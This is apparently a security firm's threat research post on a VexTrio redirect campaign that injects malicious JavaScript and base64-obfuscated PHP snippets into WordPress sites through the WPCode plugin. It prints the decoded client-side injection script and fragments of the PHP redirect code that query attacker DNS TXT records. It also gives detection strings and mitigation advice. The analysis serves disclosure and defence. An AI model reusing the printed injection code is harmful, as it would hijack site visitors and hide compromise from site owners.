Last August we documented a malware campaign that was injecting malicious JavaScript code into compromised WordPress sites to redirect site visitors to VexTrio domains. The most interesting thing about that malware was how it used dynamic DNS TXT records of the tracker-cloud[.]com domain to obtain redirect URLs.
We’ve been tracking this campaign ever since — and we’ve recorded multiple changes in obfuscation techniques and domain names used in their DNS TXT traffic direction system (TDS).
This March, the campaign also made a notable change: it switched from client side to server side redirects.
In this post, we’ll examine these recent changes in techniques and functionality, reveal common indicators of compromise and malicious domains to watch out for, and outline how to mitigate risk and protect your website and server from infection.
Contents:
Our research team and remote website scanners have detected this malware on 46,815 sites so far; the peak for detections was seen this past February, 2024 with a total of 9,222 detected sites that month alone. This URLScan.io query currently returns thousands of infected websites.
The following domain names with the dynamic DNS resolvers are used as TDS:
The most recent variation of the client side injection looks like this:
When decoded, it becomes evident that this script is using the dns.google service to obtain TXT records of dynamically generated subdomains of the attacker-controlled domain.
(function (parameters) { fetch('https://api64.ipify.org?format=json').then(response => response.json()).then( ip => { let host = window.location.hostname; ip = ip.ip.replaceAll(':', '-'); ip = ip.replaceAll('.', '-'); if (host == "") host = "unk.com"; fetch('https://dns.google/resolve?name=' + host + '.' + ip + '.' + Math.floor(Math.random() * 1024 * 1024 * 10) + '.host-stats[.]io&type=txt').then(response => response.json()).then(data => { if (data.Answer == null) { return; } var o = ""; data.Answer.forEach(element => { if (element.type == 16) o += element.data; }); o = atob(o); if (!o.length) return; window.location.replace(o); }); } ); })()
This is a typical response from the dns.google server:
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"www.[redacted].com.2600-803-a88-1021--21.1369004.host-stats[.]io.","type":16}],"Answer":[{"name":"www.[redacted].com.2600-803-a88-1021--21.1369004.host-stats[.]io.","type":16,"TTL":600,"data":"aHR0cHM6Ly93ZWItaG9zdHMuaW8vP2NvMWtpb2lqdnEzMjdoaG45NnYw"}],"Comment":"Response from 185.161.248[.]253."}
In the data parameter, we can see the base64-encrypted value: aHR0cHM6Ly93ZWItaG9zdHMuaW8vP2NvMWtpb2lqdnEzMjdoaG45NnYw which decrypts to hxxps://web-hosts[.]io/?co1kioijvq327hhn96v0
Since March, this web-hosts[.]io domain is consistently used to initiate redirect chains for this malware campaign. Also note the IP address where the DNS response comes from: 185.161.248[.]253 (KISARA-AS, RU) — it hosts many other domains used in the malware’s redirect chains.
After March 13, 2024 we started seeing server-side redirects to the same web-hosts[.]io. This time, however, no JavaScript injections were involved at all.
We quickly found the culprit of these server-side redirects. It turned out to be a PHP version of the well known JavaScript injection used in past infection waves. Attackers were using the same idea and method of injection — a custom code snippet added to the WPCode plugin (formerly known as Insert Headers and Footers by WPBeginner).
According to stats from the official WordPress plugin repository, the WPCode plugin is used on over 2 million websites to inject custom JS, HTML, CSS and PHP snippets into WordPress sites. In this case, however, attackers are installing this specific plugin into compromised environments.
Instead of the formerly used JS snippets, however, the attackers decided to make their malware stealthier by using PHP snippets. This way, the malicious code is not visible for external remote scanners — the most they can detect is the redirect itself, which may not be easy to reproduce because of the TDS logic (visitor IPs are being tracked).
Here is an example of how the malicious code injected as a WPCode PHP snippet can be found in WordPress admin interface:
Such snippets can currently be identified in the snippet list by their “Untitled Snippet” name.
The injected code varies a little bit from site to site, but its main functionality remains the same. The simplest variation looks like this:
More advanced versions have a bit of additional code, but all of them can be identified by extensive use of the base64_decode function to decode individual strings.
You can manually scan your database for the following strings:
add_action(base64_decode('aW5pdA=='),base64_decode('X3JlZA=='));
This string decodes to:
add_action('init','_red');
And:
if(!function_exists(base64_decode('X3JlZA=='))){
Which decodes to:
if(!function_exists('_red')){
Another tell-tale sign of infection is this DNS_TXT flag in the dns_get_record() function.
dns_get_record($p9,DNS_TXT);
(Note: the variable name in the following sample may change from site to site.)
When decoded, the most important part of the malware looks like this:
This snippet of code defines the _red() function and assigns it to be run during each page initialization stage right before any headers are sent.
The function makes sure that the visitor is not a logged in user (to prevent detection by the site owners) and that is the first site visit during the last 24 hours.
If these conditions are met, then the malware generates a dynamic subdomain for the attacker-controlled domain “cloud-stats[.]com” and requests the TXT record for that subdomain:
$o8=(!$y5?'unk.com':$y5).'.'.(!$v6?'0-0-0-0':$v6).'.'.mt_rand(100000,999999).’.’.(_is_mobile()?'n'.$h7:'nd').'.cloud-stats[.]com'; $u9=dns_get_record($o8,DNS_TXT);
The generated subdomain consists of the following:
A fully generated subdomain will look something like this: www.example.com.127-0-0-1.243385.ni.cloud-stats[.]com
Here is a typical response for the malware’s TXT record requests:
type: 16 aHR0cHM6Ly93ZWItaG9zdHMuaW8vP2NucG43YmFqdnEzZTdvNWtxNXQw;type: 2 ns1.cloud-stats[.]com;type: 2 ns2.cloud-stats[.]com;95.216.232.139;185.161.248.253;
We can see the redirect URL (hxxps://web-hosts[.]io/?cnpn7bajvq3e7o5kq5t0) sent as a base64 string aHR0cHM6Ly93ZWItaG9zdHMuaW8vP2NucG43YmFqdnEzZTdvNWtxNXQw, as well as the IPs of the name servers: the already familiar 185.161.248[.]253 (KISARA-AS, RU) and 95.216.232[.]139 (HETZNER-AS, DE).
Once the redirect URL is obtained from the cloud-stats[.]com DNS server, the visitor gets redirected there using the wp_redirect function.
Some versions of the injected PHP script contain additional features. The most common one is the code to hide the WPCode plugin (insert-headers-and-footers/ihaf.php) in the list of installed plugins.
This helps prevent discovery and disabling of the plugin by site owners who never actually installed the plugin. A side-effect of this feature is this plugin will be hidden even on sites that legitimately use it.
To make discovery of the WPCode plugin even harder, the malware also hides WPCode notifications and messages displayed in WordPress dashboard by changing their styles to { display: none; }.
More recent versions of the malware also contain backdoor functionality that allows attackers to send data to the script via base64-encoded cookies:
At this point the backdoor has two main functions:
As we previously mentioned, this malware campaign installs the WPCode plugin on compromised websites to inject their JS and PHP custom code snippets.
We observed this behavior in logs of multiple compromised sites. At this point, it is not clear what vulnerability was originally used as this malware can only be reliably tracked since the moment the attackers log into WordPress and install the WPCode plugin. And by that time, they already have valid WordPress admin credentials in their possession. What’s interesting, however, is how they go an extra mile to make sure their malware is present on infected websites.
Once the site is infected, their bots visit it every day (sometimes more than once a day), log into WordPress, and make sure the WPCode plugin is still activated. On one site we observed the site owner’s action to deactivate the plugin. Two hours later the attacker’s bot returned to the site and re-activated the plugin!
Another interesting observation is that the same attackers are also trying to use another similar “Head, Footer and Post Injections” (header-footer) plugin as a fallback. This plugin also allows injections of custom JS and PHP code, but so far is never the primary plugin used in the campaign.
Our analysis shows that the malicious bot requests come from a wide range of residentials IPs all around the world, including:
These bot requests most likely belong to infected computers or public proxies.
The User-Agent strings of these requests vary a lot, but typically use older versions of browsers:
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.2265.141 Safari/537.36" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" "Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Edg/85.0.564.70" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Edg/88.0.705.74" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/95.0" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"
It’s quite common for both User-Agent and IP address to change through a single session. You may see that the login request comes from one IP and shortly after you see a different IP with a different User-Agent continue working with the /wp-admin/ URLs without any previous logins from that IP. This is typically a sign of a proxy usage.
Web hosts should sinkhole domain names used as DNS DTS as well as their name servers to mitigate this threat. In this case, it’s cloud-stats[.]com, ns1.cloud-stats[.]com, and ns2.cloud-stats[.]com.
But if you are a website owner looking to protect your site from this infection, you can mitigate risk with the followings steps:
Believe your website has been infected with this malware but not sure what to do next? Reach out to us on chat and we can discuss how we can help! Our experienced security analysts are available 24/7 to assist you, clean up website malware, and restore your website.